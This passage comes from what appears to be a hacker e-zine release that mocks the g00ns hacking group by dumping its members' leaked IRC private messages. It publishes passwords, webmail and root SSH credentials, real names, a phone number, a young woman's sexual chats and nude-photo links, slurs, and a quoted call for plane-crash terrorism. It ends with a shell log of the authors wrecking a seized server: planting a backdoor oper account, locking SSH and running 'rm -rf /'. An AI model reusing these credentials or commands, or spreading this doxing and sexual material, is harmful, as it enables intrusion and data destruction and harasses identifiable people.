level. The second group is smaller, and contains a couple of people who have the talent, willingness to learn, dedication and time to move forward. There are a couple of those at g00ns, and we wish them good luck. Don't settle for being at the top of an organization that sells positions on a forum, whose competitors are The Defaced and The Regime. But you can't just look for the next cool hacker website, you dig? Try to find smarter people, and they will not always advertise. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ It's not over yet kids! Time for profiles! ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // z3r0 // z3r0 -> nickserv: identify r3xleoP3@Dm3s!!!#&6^ g00ns #private password and skype password: ismokedyoustupid z3r0 on zf03: What exactly is Zf0 3? it looks like a article about how Zf0 just goes around owning people. z3r0 on zf03: HAH the irc logs are a comedy goldmine. -19:48:59- (z3r0) we will have to introduce you to illwill -19:49:03- (z3r0) hes our asm guru -20:02:29- (z3r0) most kiddies cant even run a perl script -20:08:55- (z3r0) basically our credo is we hate neophytes -20:16:22- ~ (Psyop) Do you read many zines? -20:16:27- (z3r0) sometimes -20:16:28- (z3r0) depends -20:16:39- (z3r0) i read zf0's Always good to have fans. // clorox // clorox -> nickserv: identify loldongs "I'm planning on doing some irl raids myself here shortly. I think the target deserves to be targeted and deserves whatever actions come out of it. I don't understand the current direction the raid is taking look if you are going to spread documents and call it a raid i think thats rather ridiculous there are thousands of other sites that do that already. Words are for Discourse Violence is for Change, look its tough to even type this but paper airplanes don't change anything...they don't they just don't. If you make a paper airplane and hand it off to people and try to show them information nothing will change. What changes things are when airplanes crash into shit and do damage, that is really all today's world is about; the level of importance is directly related to the amount of damage something has done. Don't hand people paper...slam a fucking plane into a building and force the shit on them." What's the moral there, that terrorism is an acceptable and admirable way of accomplishing your goals? CLOROX IS A TERRORIST WANNABE!!!! Hand the man a turban! // g00ns is SERIOUS FUCKING BUSINESS cloroxsecure (2:38:16 AM): if i see someone fucking around with the community we are going to expose them cloroxsecure (2:38:25 AM): you were exposed clorox -> Depravus: explain to me why g00ns are lame? Depravus -> clorox: Personal army shit, internet tough guy shit, etc. clorox -> Depravus: like? Depravus -> clorox: Like typical 13 year olds that figured out how to use the in ternet clorox -> Depravus: first off none of us are 13 years old.... 18+ and most of u s are older than that... secondly we are not anon we do what we want Depravus -> clorox: Dude you don't have to be 13 to act like a 13 year old Depravus -> clorox: You could be 49 for all I care Depravus -> clorox: And that mentality is why you're lame Depravus -> clorox: "We do what we want" clorox -> Depravus: why do you think we act like 13 year olds Depravus -> clorox: Which gives rise to internet tough guy mentality clorox -> Depravus: do you not do what you want? clorox -> Depravus: sorry we've pulled anon out of situations they couldn't handle clorox -> inky_: $servidor='64.72.117.181' unless $servidor; clorox -> inky_: my $porta='6667'; clorox -> inky_: my @canais=("#!!g00ns"); clorox -> inky_: my @adms=("br3ttch4nce"); inky_ -> clorox: are any of the 2.6.9 kernels vuln? they seem to be most popular clorox -> inky_: milw0rm vmsplice // ZF0 much help, great success! Genocide -> clorox: i miss #irclogs Genocide -> clorox: :[ clorox -> Genocide: ditto Ok the real funny thing about clorox is his relationship with theswellseason (IRC whore). The entire time they were dating she was flirting with other guys on IRC. The only guy she didn't flirt with was clorox, who was too busy taking g00ns very fucking seriously! She sure likes the attention she gets when she shows titties. tribaL -> sCuZz: homeboys gonna get played like the rest tribaL -> sCuZz: but you know hes not going to listen tribaL -> sCuZz: not to me tribaL -> sCuZz: not to you tribaL -> sCuZz: not to z3r0 We present to you, the chronological IRC life of theswellseason! theswellseason -> d0ct0r: my dad, when he found out I'd lost my virginity, started crying. and I just sat there totally stonefaced because i knew if I said anything, I'd burst into laughter d0ct0r -> theswellseason: wtf theswellseason -> d0ct0r: lol theswellseason -> d0ct0r: yeah theswellseason -> d0ct0r: I know theswellseason -> d0ct0r: my dad is such a pussy sometimes d0ct0r -> theswellseason: my mom was like d0ct0r -> theswellseason: 3 years ago d0ct0r -> theswellseason: 'when you going to pop your cherrry' d0ct0r -> theswellseason: i was like d0ct0r -> theswellseason: huh d0ct0r -> theswellseason: i remember this theswellseason -> d0ct0r: my parents are really religious though d0ct0r -> theswellseason: cause i was like, how could i pop...my cheer.y d0ct0r -> theswellseason: cherry* theswellseason -> d0ct0r: lol d0ct0r -> theswellseason: one of my problems is theswellseason -> d0ct0r: my parents view the whole "sex before marriage" thing as being really bad d0ct0r -> theswellseason: i like to go for the 0 size jean girls sCuZz -> theswellseason: im envious of clorox sCuZz -> theswellseason: and im wanking theswellseason -> sCuZz: It's sideways, but, observe: http://tinypic.com/view.php?pic=2zrnr7a&s=3 theswellseason -> sCuZz: http://tinypic.com/view.php?pic=2r3b0vp&s=3 theswellseason -> sCuZz: blurry, but somewhat full body sCuZz -> theswellseason: you have an amazing ass theswellseason -> sCuZz: I can't believe I'm showing you this theswellseason -> sCuZz: I'm only adding to the fuel sCuZz -> theswellseason: i do have to admit its kinda hot theswellseason -> sCuZz: jesus, clorox is going to have my head for being such a flirt theswellseason -> sCuZz: why does the g00ns irc server not allow ssl connections? sCuZz -> theswellseason: stop being sketchy theswellseason -> sCuZz: dude, clorox just got a webcam sCuZz -> theswellseason: have you seen his cock? theswellseason -> sCuZz: no sCuZz -> theswellseason: and hes seen you nude sCuZz -> theswellseason: ? theswellseason -> sCuZz: yeaaaaah theswellseason -> sCuZz: trust me theswellseason -> sCuZz: I don't find that fair either sCuZz -> theswellseason: lol sCuZz -> theswellseason: what if his cock is like sCuZz -> theswellseason: 4 inches? sCuZz -> theswellseason: or hes pushing 5 theswellseason -> sCuZz: er, I'm really fucking tight anyways, so that won't be a big deal sCuZz -> theswellseason: thats not fair theswellseason -> sCuZz: what? sCuZz -> theswellseason: you telling me your tight theswellseason -> sCuZz: seriously, I don't have big fingers and it's pushing it to get two of my fingers in there. theswellseason -> sCuZz: lol theswellseason -> sCuZz: shit theswellseason -> sCuZz: now I'm just being mean sCuZz -> theswellseason: wow sCuZz -> theswellseason: i dont believe that sCuZz -> theswellseason: :( theswellseason -> sCuZz: okay theswellseason -> sCuZz: well, two fit fine sCuZz -> theswellseason: haha theswellseason -> sCuZz: but like, I can't put three side-by-side sCuZz -> theswellseason: thats fucked up sCuZz -> theswellseason: see sCuZz -> theswellseason: you do like to tease sCuZz -> theswellseason: does it hurt to masturbate theswellseason -> sCuZz: well... no theswellseason -> sCuZz: you just have to be careful? theswellseason -> sCuZz: lol, I don't even bother with panties theswellseason -> sCuZz: I'm just straight nude sCuZz -> theswellseason: hot theswellseason -> sCuZz: lol theswellseason -> sCuZz: clorox is going to kill me for telling you all this lol theswellseason -> sCuZz: I'll give you noodz if you'll give me cock pics theswellseason -> sCuZz: so that I can make clorox jealous sCuZz -> theswellseason: i so know this is a setup theswellseason -> sCuZz: how so? sCuZz -> theswellseason: but if it means clorox gets to see my cock sCuZz -> theswellseason: ill be happy theswellseason -> vgx: enviesecure@gmail.com theswellseason -> vgx: I'm dating a g00n theswellseason -> vgx: I take everything with a grain of salt botkip -> theswellseason: I wouldn't fuck with botkip if I were you... people are reading the logs right now // if only you knew theswellseason -> Ninth_: he was being an ass theswellseason -> Ninth_: and there was someone else that wanted me to "run away with him" theswellseason -> Ninth_: and this other person... idk... was charming Ninth_ -> theswellseason: work hard, stick with him, honestly, that will mean so much more than anything else, knowing that you are devoted enough to stay together. theswellseason -> Ninth_: and I almost wanted to cheat, but like... idk theswellseason -> sCuZz: I was a whore before I met clorox theswellseason -> TokyoFox: old pic is old, but: http://tinypic.com/view.php?pic=2zqfonb&s=3 theswellseason -> sCuZz: http://tinypic.com/view.php?pic=jiltkx&s=3 theswellseason -> sCuZz: http://tinypic.com/view.php?pic=35jbc4g&s=3 ^ emo hair lol..... Zombocom -> theswellseason: I love you Emmaleigh theswellseason -> Zombocom: I'm going to the coffee shop later, I'll talk to you then theswellseason -> Zombocom: I love you too James Anonzz -> theswellseason: This is a pic of me and my bitch Anonzz -> theswellseason: http://farm3.static.flickr.com/2325/2337209376_d57f1c43d4_o.jpg theswellseason -> Zombocom: Because you are theswellseason -> Zombocom: you're... just amazing theswellseason -> Zombocom: what do you mean you misssed me? theswellseason -> Zombocom: I was gone for all of... five minute? theswellseason -> ServicesUp: you're in #programming theswellseason -> ServicesUp: you're a programer? ServicesUp -> theswellseason: yes // That might impress theswellseason, but... ServicesUp -> #programming: is IP based on MAC address? theswellseason -> Deltantor: you're silly theswellseason -> Deltantor: they're just tits Deltantor -> theswellseason: I just like yours a lot >_> they are...perfect Deltantor -> theswellseason: <theswellseason> http://tinypic.com/view.php?pic=866pl6q&s=1 Deltantor -> theswellseason: <theswellseason> don't go posting that places theswellseason -> p00h: p00h, clorox could root ANYONE p00h -> theswellseason: clorox doesnt know about rooting // keeps calling her babygirl // gave her a bellavendetta.com user account theswellseason -> p00h: I think clorox could handle me going on a trip theswellseason -> p00h: lol p00h -> theswellseason: lol theswellseason -> p00h: we're just friends, right? p00h -> theswellseason: why, what would u say if i ran porn sites p00h -> theswellseason: u still have the nipple peircings? theswellseason -> p00h: yep p00h -> theswellseason: nice p00h -> theswellseason: they look nice theswellseason -> p00h: yeop p00h -> theswellseason: i like the studs theswellseason -> p00h: lol I like them p00h -> theswellseason: im sure u have heard this p00h -> theswellseason: but ur nipples like really hot p00h -> theswellseason: they are perfect looking theswellseason -> p00h: I have heard that // I just can't resist dropping any pm where someone begs someone to be private theswellseason -> p00h: when the other guy says he loves me, I believe it theswellseason -> p00h: I'm just scared that if I leave clorox he'll turn g00ns on me and get them to ruin my life theswellseason -> p00h: z3r0 has threatened to do so if I hurt clorox theswellseason -> p00h: that's why you cannot EVER tell him this theswellseason -> p00h: I'm gonna try and back out peacefully p00h -> theswellseason: it would be theswellseason -> p00h: but if he knows it's for another guy, I'm done p00h -> theswellseason: that would be the safest thing p00h -> theswellseason: ya theswellseason -> p00h: so please please please p00h p00h -> theswellseason: i won't say anything theswellseason -> p00h: don't tell anyone p00h -> theswellseason: don't worry sCuZz -> tribaL: whats the deal with theswellseason? tribaL -> sCuZz: idk tribaL -> sCuZz: why tribaL -> sCuZz: shes dating clorox IRL THO sCuZz -> tribaL: i know sCuZz -> tribaL: she tells me shit all the time sCuZz -> tribaL: and it just seems like shes being an e whore theswellseason -> p00h: I've fucked a chick before p00h -> theswellseason: but not with a penis theswellseason -> p00h: well theswellseason -> p00h: does a strapon count? p00h -> theswellseason: no theswellseason -> p00h: shit theswellseason -> p00h: that's his IP p00h -> theswellseason: how do u know theswellseason -> p00h: because he just visted a page that I had set up specifically to get his IP theswellseason -> p00h: the only other IP to have visited that page is mine theswellseason -> p00h: and that's not my IP p00h -> theswellseason: hehe theswellseason -> p00h: so it must be his p00h -> theswellseason: you are such a haxor theswellseason -> p00h: lol theswellseason -> p00h: aren't I though? theswellseason -> p00h: see, I may need to learn, but hell p00h -> theswellseason: u are a hax0r p00h -> theswellseason: im proud of u theswellseason -> p00h: I have a few really useful tricks up my sleeve already theswellseason -> p00h: whatdya gonna do, p00h? theswellseason -> p00h: I think you'd get in the room and like, cum prematurely from the nervousness of being around a woman like me And this basically sums it up nicely... sCuZz -> tribaL: lol she told me that when they broke up sCuZz -> tribaL: he was like saying he wanted to spend the rest of his life with her // pr0be // tribaL -> nickserv: identify h4x0r! pr0be -> nickserv: identify h4x0r! For anyone who didn't know, tribaL == pr0be. He was too embarassed to carry on under his nick, so he concocted a stupid story and has been living it. tribaL -> sCuZz: they think im from anonymous tribaL -> sCuZz: i can't let them know im pr0be ;( tribaL -> luna: switching from pr0be to tribal because of my dox One common thread in pr0be's IRC messages is his (emotional) insecurity and jealousy. Always bitching about someone, like clorox. ~~~~~~~~~~~~~~~~~~~~~~~~ For the past few months, Alot of you have met the new guy tribaL. TribaL and i go back quite a bit, and he is the most trustworthy individual on the net that i have met thus far. The truth is, I have been training a replacement. I have been here for quite some time, and real life is starting to take over. With that said, it is about the time that i step down. I will not join any other crew. g00ns is and will always be my home, and if real life slows down perhaps i will be back. Most of you can contact me, but you know i just have not been online as much as i used to be anymore. Respect tribaL, he is one crazy motherfucker. Later guys oh, and i aint gay. ~~~~~~~~~~~~~~~ g00ns.net motd God i'm going to miss this place so fucking much. Just remember, Things aren't like they used to be. For the most part, you are on your own. Watch your own ass, and do what you have to, to protect it. Even if g00ns were to end tomarrow, Nobody will ever be able to break our spirit. Nobody will ever be able to tell us we didn't own the internet. Watch out bro, And its never too late to get out while your ahead. People will listen to you - You have a good head on your shoulders. Maybe down the road we will start over, With all of the knowledge of our mistakes the first time. This isn't the end. Whoever attacks may win the battle, But they will never win the war. If g00ns shuts down, Its not the end. We still have our cliche- our group of guys that we will hang out with. We are smarter when it comes to getting shit done and not getting caught. We will prevail. You know if you need anything, i'll help you to my fullest extent. You're my homie. Walk light, And keep your head on a swivel. Most of the people out here are snakes. - [g00n] motherfucking pr0be ~~~~~~~~~~~~ pr0be temporary h4cky0u forum pass (probably changed by now) 164187e6 // z3r0 sticks it to pr0be I was^H^H^Ham sorry to inform you that because of your ^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^Hthat since you have been messing with our staff I will have to let you go. I'm soor^H^Hrry but you have to go. We do not want to^H^Hyou in the com^Hmmunity anymore. pr0be bearshare: polxx/104diam loSt -> tribaL: riot wants me to give him ops in g00ns chan again loSt -> tribaL: should i? tribaL -> loSt: no tribaL -> loSt: just ignore it loSt -> Riot: ill talk to tribal and see if im allowed to ops you Riot -> tribaL: can i get my goddamn ops. or at least voice. Riot -> tribaL: Dude, am I ever getting my ops back and shit tribaL -> Riot: stop tribaL -> Riot: socialing me tribaL -> Riot: dude tribaL -> Riot: why tribaL -> Riot: are y tribaL -> Riot: ou tribaL -> Riot: trying tribaL -> Riot: to social me Riot -> tribaL: ... Riot -> tribaL: No Riot -> tribaL: like I'm pissed as fuck tribaL -> Riot: socialed Riot -> tribaL: For real are you all just going to keep being cocksuckers Riot -> tribaL: or what Riot -> tribaL: because z3r0 goes and tells jon Riot -> tribaL: that I told g00ns he's been giving people up <--- this is true, z3r0 is an informant. No joke. tribaL -> Riot: idonno Riot -> tribaL: Like its some fucking bullshit tribaL -> Riot: im just smoking Riot -> tribaL: and i'm steps away from fucking walking bro. tribaL -> Riot: and trying to hack f bis Riot -> tribaL: I put my trust fucking time and again into g00ns Riot -> tribaL: and you fuckers just throw it back in my fucking face dude. tribaL -> Riot: i can imagine tribaL -> inky_: 158.36.71.34 tribaL -> inky_: SSH port 3785 tribaL -> inky_: User: root tribaL -> inky_: Pass: zr0mg123 tribaL -> inky_: dont tell anybody i gave it to you # Talking to yourself is not safe, ZF0 can hear you. tribal -> tribal: clorox sucks cock tribal -> tribal: a59 sucks cock # he keeps bumming money off people, it's pathetic tribaL -> loSt: got 10 bucks i canborrow loSt -> tribaL: nah man tribaL -> loSt: feck FuRY -> tribaL: cause z3r0 and clorox are running with there reputations.... FuRY -> tribaL: they havent done anything in years FuRY -> tribaL: lol tribaL -> FuRY: i have to teach clorox shit FuRY -> tribaL: :\ tribaL -> FuRY: z3r0 tribaL -> FuRY: im not going to sell him out FuRY -> tribaL: is dead FuRY -> tribaL: :P tribaL -> FuRY: but lets just say his strong points are in what they teach in networking class core -> tribal: yo tribal -> core: yo core -> tribal: i have one you can use core -> tribal: not mine though tribal -> core: i will suck yourfucking edick core -> tribal: user: jojoman112 core -> tribal: pw: syense1 tribal -> core: omfg tribal -> core: ty tribal -> sCuZz: i started a new irc tribal -> sCuZz: for the people we choose tribal -> sCuZz: its a private irc tribal -> sCuZz: p.60z.org tribal -> sCuZz: connect there sCuZz -> tribal: i thought i had one set :/ tribal -> sCuZz: your opper is !beanerl0ve! // sCuZz // sCuZz -> nickserv: identify HsNS3Sksd%SmfjuuAxT disruptiv -> sCuZz: u dont think somebody has this ircd rewted riht now disruptiv -> sCuZz: somebody is sniffin somebodys shit disruptiv -> sCuZz: all the time Welcome to sn00g Forums Username: geezus Password: nukes77g1 acircle.us forums Username: sCuZz Password: nukes77g2 // spl0iT // spl0iT -> nickserv: identify bejtm540 // spl0it goes to daddy clorox for hacking help spl0iT -> clorox: www.scorpiontek.org // Mr. Tough Guy spl0iT -> d0ct0r: said he doesn't know why he was targetted and was wondering what type of sick game it was spl0iT -> d0ct0r: i told him it was a harsh lesson in security spl0iT -> d0ct0r: we are the g00ns spl0iT -> d0ct0r: expect us spl0iT -> d0ct0r: Yes, we were hacked. By #[7m<80><9C>we#[7m<80><9D> I mean me, Aaron, and our podcast - which are all hosted on the same server. I#[7m<80><99>m not gonna post a link to the site that supposedly hacked us just because it#[7m<80><99>s b ad taste. Why we were hacked? I don#[7m<80><99>t know. loSt -> spl0iT: d0ct0r is on 24/7 and refuses to learn loSt -> spl0iT: he even takes highschool from home loSt -> sCuZz: im turning spl0it right now spl0iT -> tribaL: what's the command to exit nano spl0iT -> tribaL: i used putty to connect spl0it Your login is: p10067292 Your password is: 4g50y11x NNTP Address/News Server: europe.newsdemon.com, useast.newsdemon.com Welcome to sn00g Forums Username: spl0iT Password: TheTaCSS74 // loSt // loSt's thing is that he'll do anything to move up in g00ns, like make them money and suck up. And he likes to hand out passes in IRC. :D loSt -> detrez: Username: detrez@j3ws.com loSt -> detrez: Password: rg8lTQFl loSt -> detrez: Pop3 Server: mail.j3ws.com loSt -> detrez: Smtp Server: mail.j3ws.com loSt -> detrez: oh, you can also login through here as well: loSt -> detrez: j3ws.com/webmail loSt -> detrez: naygor.com/webmail loSt -> detrez: Username: detrez@naygor.com loSt -> detrez: Password: voJLp90C loSt -> detrez: Pop3 Server: mail.naygor.com loSt -> detrez: Smtp Server: mail.naygor.com loSt -> detrez: Username: hang.the@naygor.com loSt -> detrez: Password: t5ybTINh loSt -> detrez: Pop3 Server: mail.naygor.com loSt -> detrez: Smtp Server: mail.naygor.com deTrez -> loSt: awesomeeeee loSt -> detrez: Username: dirty.filthy.greedy.scumbag@j3ws.com loSt -> detrez: Password: SkAKU1eP loSt -> detrez: Pop3 Server: mail.j3ws.com loSt -> detrez: Smtp Server: mail.j3ws.com loSt -> clorox: [17:01] <Angyl> hey hun loSt -> clorox: [17:01] <loSt> hey loSt -> clorox: [17:01] <loSt> how you been? loSt -> clorox: [17:02] <Angyl> bad. i went wildcard. looking to make some sales , know any buyers? loSt -> clorox: [17:02] <loSt> watcha mean wildcard/ loSt -> clorox: [17:03] <Angyl> off the grid, and unpredictable. im running. loSt -> clorox: [17:04] <loSt> ooo loSt -> clorox: [17:04] <loSt> fedz after you ? loSt -> clorox: [17:04] <loSt> or people? loSt -> clorox: [17:05] <Angyl> alphabet soup.pick your acronym loSt -> clorox: [17:05] <loSt> lol andy -> Joshua: loSt says he will keep ANYONE you want gzlined if he gets the money CuNt -> loSt: need the warez-bb password again loSt -> CuNt: 547745 CuNt -> loSt: and its rocksuperman right? loSt -> tribaL: [19:55] <loSt> im just doing what i do to bring in money loSt -> tribaL: [19:55] <loSt> only temp to help with the load of threads loSt -> tribaL: [19:55] <g00ns> Which proves g00ns is only about money now loSt -> tribaL: [19:55] <g00ns> Whoever brings in most money gets most power // core // core -> nickserv: IDENTIFY h4xorwooT On Sat, Mar 15, 2008 at 6:42 PM, <dirty.filthy.greedy.scumbag@j3ws.com> wrote: > > hey mom this is carroll, my new email address Welcome to StumbleUpon! Here's your login info: Email: core@j3ws.com Password: damiro Dear core1516161,<br /><br />We have received several complaints concerning= your use of the Stickam service. Specifically, we have been informed that = you have exposed yourself and/or others nude/partially nude to other member= s/users of the service.<br /><br /> ..etc(see his spool)a core = Cormac O'Riordan according to paypal Woulf Den Imprinting just sent you money with PayPal. ($2430! fuck!) `This email confirms that you have paid Valve Corp.=2412.04 USD using PayPal. Phone: +353 0864054913 Welcome to Los Santos Role Play forums Username: core Password: hacker123 core321@live.com his other email // a59 // a59 -> nickserv@anonymous.services: identify snoop1 a59 -> sixthreenine: THIS IS A FUCKIN HACKER TOOL a59 -> sixthreenine: I AM A FUCKIN HACKER TOOL a59 -> sixthreenine: DONT TALK SHIT a59 -> sixthreenine: NEVER a59 -> sixthreenine: and dont EVER question my AUTHORITY CAUSE IWILL FUCKIN HACK U' ~~~~~~~~~~~~~~ These kids are so funny. Shortly before release (and long after we had taken anything we wanted from g00ns) we decided to have some fun with them. Here are the IRC logs of us trolling and rming g00ns.net. A lot of others jumped on the troll wagon and everyone had a great time! We fixed up the box a bit: [root@demon2 Unreal3.2.7]# cat unrealircd.conf loadmodule "src/modules/commands.so"; loadmodule "src/modules/cloak.so"; me { name "irc.evilcoders.net"; info "Partyvan IRC"; numeric 11; }; admin { "tribaL"; "tribal@g00ns.net"; }; class clients { pingfreq 180; maxclients 5000; sendq 1000000000; recvq 8000; }; class servers { pingfreq 290; maxclients 100; /* Max servers we can have linked at a time */ sendq 999999999; connfreq 100; /* How many seconds between each connection attempt */ }; oper zf0 { from { userhost "*@*"; }; password "g00nspwnage"; class "default"; flags { netadmin; services-admin; global; helpop; can_rehash can_globalnotice; can_globalroute; can_globops; can_wallops; can_unkline; can_kline; can_globalkill; can_zline; can_gkline; can_gzline; get_umodew; get_host; can_override; can_die; can_restart; }; }; [root@demon2 Unreal3.2.7]# /etc/init.d/directadmin stop Stopping DirectAdmin: [ OK ] [root@demon2 Unreal3.2.7]# /etc/init.d/httpd stop Stopping httpd: [ OK ] [root@demon2 Unreal3.2.7]# /etc/init.d/lsws stop [root@demon2 Unreal3.2.7]# /etc/init.d/mysqld stop Shutting down MySQL.. [ OK ] [root@demon2 Unreal3.2.7]# /etc/init.d/nessusd stop Shutting down Nessus services: [ OK ] [root@demon2 Unreal3.2.7]# /etc/init.d/proftpd stop Shutting down proftpd: [ OK ] [root@demon2 ~]# /etc/init.d/sshd restart Stopping sshd: [ OK ] Starting sshd: [ OK ] [root@demon2 ~]# cat /etc/ssh/sshd_config # $OpenBSD: sshd_config,v 1.73 2005/12/06 22:38:28 reyk Exp $ Banner /etc/ssh/sshd-banner # This is the sshd server system-wide configuration file. See # sshd_config(5) for more information. # This sshd was compiled with PATH=/usr/local/bin:/bin:/usr/bin # The strategy used for options in the default sshd_config shipped with # OpenSSH is to specify options with their default value where # possible, but leave them commented. Uncommented options change a # default value. Port 3000 #Protocol 2 Protocol 2 #AddressFamily any #ListenAddress 0.0.0.0 #ListenAddress :: # HostKey for protocol version 1 #HostKey /etc/ssh/ssh_host_key # HostKeys for protocol version 2 #HostKey /etc/ssh/ssh_host_rsa_key #HostKey /etc/ssh/ssh_host_dsa_key # Lifetime and size of ephemeral version 1 server key #KeyRegenerationInterval 1h #ServerKeyBits 768 # Logging # obsoletes QuietMode and FascistLogging #SyslogFacility AUTH SyslogFacility AUTHPRIV #LogLevel INFO # Authentication: #LoginGraceTime 2m #PermitRootLogin yes #StrictModes yes #MaxAuthTries 6 #RSAAuthentication yes #PubkeyAuthentication yes #AuthorizedKeysFile .ssh/authorized_keys # For this to work you will also need host keys in /etc/ssh/ssh_known_hosts #RhostsRSAAuthentication no # similar for protocol version 2 #HostbasedAuthentication no # Change to yes if you don't trust ~/.ssh/known_hosts for # RhostsRSAAuthentication and HostbasedAuthentication #IgnoreUserKnownHosts no # Don't read the user's ~/.rhosts and ~/.shosts files #IgnoreRhosts yes # To disable tunneled clear text passwords, change to no here! #PasswordAuthentication yes #PermitEmptyPasswords no PasswordAuthentication yes # Change to no to disable s/key passwords #ChallengeResponseAuthentication yes ChallengeResponseAuthentication no # Kerberos options #KerberosAuthentication no #KerberosOrLocalPasswd yes #KerberosTicketCleanup yes #KerberosGetAFSToken no # Set this to 'yes' to enable PAM authentication, account processing, # and session processing. If this is enabled, PAM authentication will # be allowed through the ChallengeResponseAuthentication mechanism. # Depending on your PAM configuration, this may bypass the setting of # PasswordAuthentication, PermitEmptyPasswords, and # "PermitRootLogin without-password". If you just want the PAM account and # session checks to run without PAM authentication, then enable this but set # ChallengeResponseAuthentication=no #UsePAM no #UsePAM yes # Accept locale-related environment variables AcceptEnv LANG LC_CTYPE LC_NUMERIC LC_TIME LC_COLLATE LC_MONETARY LC_MESSAGES AcceptEnv LC_PAPER LC_NAME LC_ADDRESS LC_TELEPHONE LC_MEASUREMENT AcceptEnv LC_IDENTIFICATION LC_ALL #AllowTcpForwarding yes #GatewayPorts no #X11Forwarding no X11Forwarding yes #X11DisplayOffset 10 #X11UseLocalhost yes #PrintMotd yes #PrintLastLog yes #TCPKeepAlive yes #UseLogin no #UsePrivilegeSeparation yes #PermitUserEnvironment no #Compression delayed #ClientAliveInterval 0 #ClientAliveCountMax 3 #ShowPatchLevel no #UseDNS yes #PidFile /var/run/sshd.pid #MaxStartups 10 #PermitTunnel no # no default banner path #Banner /some/path # override default of no subsystems Subsystem sftp /usr/libexec/openssh/sftp-server AllowUsers ZF0PWN [root@demon2 ~]# rm -rf /* rm: cannot remove `/aquota.group': Operation not permitted cannot remove `/aquota.user': Operation not permitted cannot remove directory `/backup': Device or resource busy cannot remove directory `/boot': Device or resource busy [root@demon2 ~]# And we trolled: --- Log opened Wed May 07 11:50:55 2008 11:50 < r00tr00t> welcome to the zf0 rmage 11:50 < Angyl> for the lulz 11:50 < ECB> hmm 11:51 < Angyl> and auctuioning it off on mids 11:51 <+theswellseason> Zombocom why are you such a faggot 11:51 <+theswellseason> I can't believe I thought I loved you Zombocom 11:51 < boon> SAY GOOD NIGHT G000ns 11:51 -!- Slowpoek is now known as theswelllseason 11:51 < r00tr00t> [root@demon2 ~]# ls /home/g00ns 11:51 < r00tr00t> ls: /home/g00ns: No such file or directory 11:51 < theswelllseason> lol 11:51 < r00tr00t> you have been rm'ed 11:51 < boon> TOODLEOOOO 11:51 < Angyl> swell. 11:51 < r00tr00t> bye 11:51 < Angyl> did i ever show you the pic 11:51 < Angyl> of riot 11:51 < Angyl> looking like an epic faggot 11:51 < boon> hahaha you guys dont even know :( 11:51 <&FuRY|Shmoke> `kb r00tr00t 11:51 < boon> lolz 11:51 <&FuRY|Shmoke> :( 11:51 <+theswellseason> actually I think you did 11:52 < theswelllseason> lol we just got hacked 11:52 < Angyl> http://i32.tinypic.com/xoozlg.jpg that one? 11:52 <%p00h> :/ 11:52 < theswelllseason> looooooool 11:52 < theswelllseason> `staff 11:52 < boon> lol 11:52 <+theswellseason> wtf who is theswelllseason 11:52 < theswelllseason> i am slowpoke :P 11:52 <+theswellseason> HAHAHAHAHAHAHAHAHAHA 11:52 < theswelllseason> <3 ^_^ 11:52 <+theswellseason> HAHAHAHAHAHAHAHAHAHAHAHAHA 11:52 < Slowpoke> oh shit what the hell 11:52 < Angyl> o.o 11:52 < theswelllseason> angyl = selfish 11:52 < Slowpoke> Oh 11:52 < boon> its fun that your last messages will be from the whore that is theswellseason 11:53 <+theswellseason> Angyl that is hilarious 11:53 < theswelllseason> slowpoke = angyl 11:53 <+theswellseason> poor guy 11:53 -!- r00tr00t was kicked from #g00ns by FuRY|Shmoke [FuRY|Shmoke] 11:53 < boon> and soo nthe world will see your sexy pics 11:53 -!- r00tr00t [root@FB370F60.35B0F1AB.6B794A7F.IP] has joined #g00ns 11:53 <+Zombocom> dude, swell's not a whore 11:53 -!- mode/#g00ns [+b *!*@FB370F60.35B0F1AB.6B794A7F.IP] by FuRY|Shmoke 11:53 < ECB> WHAAT ABOUT MY SEXY PICS 11:53 -!- r00tr00t was kicked from #g00ns by FuRY|Shmoke [FuRY|Shmoke] 11:53 < Angyl> yes she is 11:53 < ECB> IM FUCKING SEXY 11:53 < Angyl> quit defending your irc girlfriend 11:53 <+Zombocom> no she's not 11:53 < Angyl> shes proud of being a whore 11:53 -!- FuRY|Shmoke [douglas@Shit.Piss.Fuck.Cunt.CockSucker.MotherFucker] has quit [Killed (r00tr00t (faggot))] 11:53 -!- r00tr00t [root@FB370F60.35B0F1AB.6B794A7F.IP] has joined #g00ns 11:53 -!- FuRY [douglas@Shit.Piss.Fuck.Cunt.CockSucker.MotherFucker] has joined #g00ns 11:53 -!- mode/#g00ns [+ao FuRY FuRY] by HustleServ 11:53 <+theswellseason> Angyl you best not be talkin shit :P 11:53 <%p00h> lol 11:53 < Slowpoke> theswellseason sux 11:53 < Slowpoke> D: 11:54 -!- theswellseason is now known as DickMonkey 11:54 < Angyl> im not 11:54 < ECB> lol 11:54 < Angyl> im just saying your a whore baby 11:54 < ECB> ok im gonna shower niggas 11:54 <+DickMonkey> I ain't swell 11:54 -!- r00tr00t [root@FB370F60.35B0F1AB.6B794A7F.IP] has quit [Killed (januszeal (who are you))] 11:54 -!- theswelllseason is now known as theswelseason 11:54 < ECB> ill talk to you bitches later 11:54 -!- Zombocom is now known as theswellseason 11:54 -!- DickMonkey is now known as Zombocom 11:54 <+theswellseason> lol 11:54 -!- notherejack [notjack@48A9411C.15EBAEA.ED99F467.IP] has quit [Ping timeout] 11:54 <+Zombocom> god since when does Zombocom have voice in here 11:54 <+theswellseason> lol 11:55 < Angyl> since he started fucking you 11:55 <+theswellseason> LOL 11:55 <+theswellseason> angyl 11:55 -!- r00tr00t [root@FB370F60.35B0F1AB.6B794A7F.IP] has joined #g00ns 11:55 < ECB> lol 11:55 <+theswellseason> we're back to normal 11:55 <+theswellseason> I'm swell again 11:55 <&FuRY> everyone join irc.partyvan.fm 11:55 <+Zombocom> and I'm Zombocom 11:55 < Murdoc> osht angyl is getting bitchy :[ 11:55 < Murdoc> break out the xanax 11:55 < Slowpoke> asl Murdoc :) 11:55 < ECB> NO GIMME THE XANAX 11:55 <+Zombocom> Angyl gets bitchy when she gets confused 11:55 < ECB> SHIT IM ALMOST OUT 11:55 < Murdoc> 40/m/basement 11:55 < Slowpoke> 12/f/uk u? 11:55 < Slowpoke> :) 11:56 < Slowpoke> aww :> 11:56 -!- theswelseason is now known as Selfish 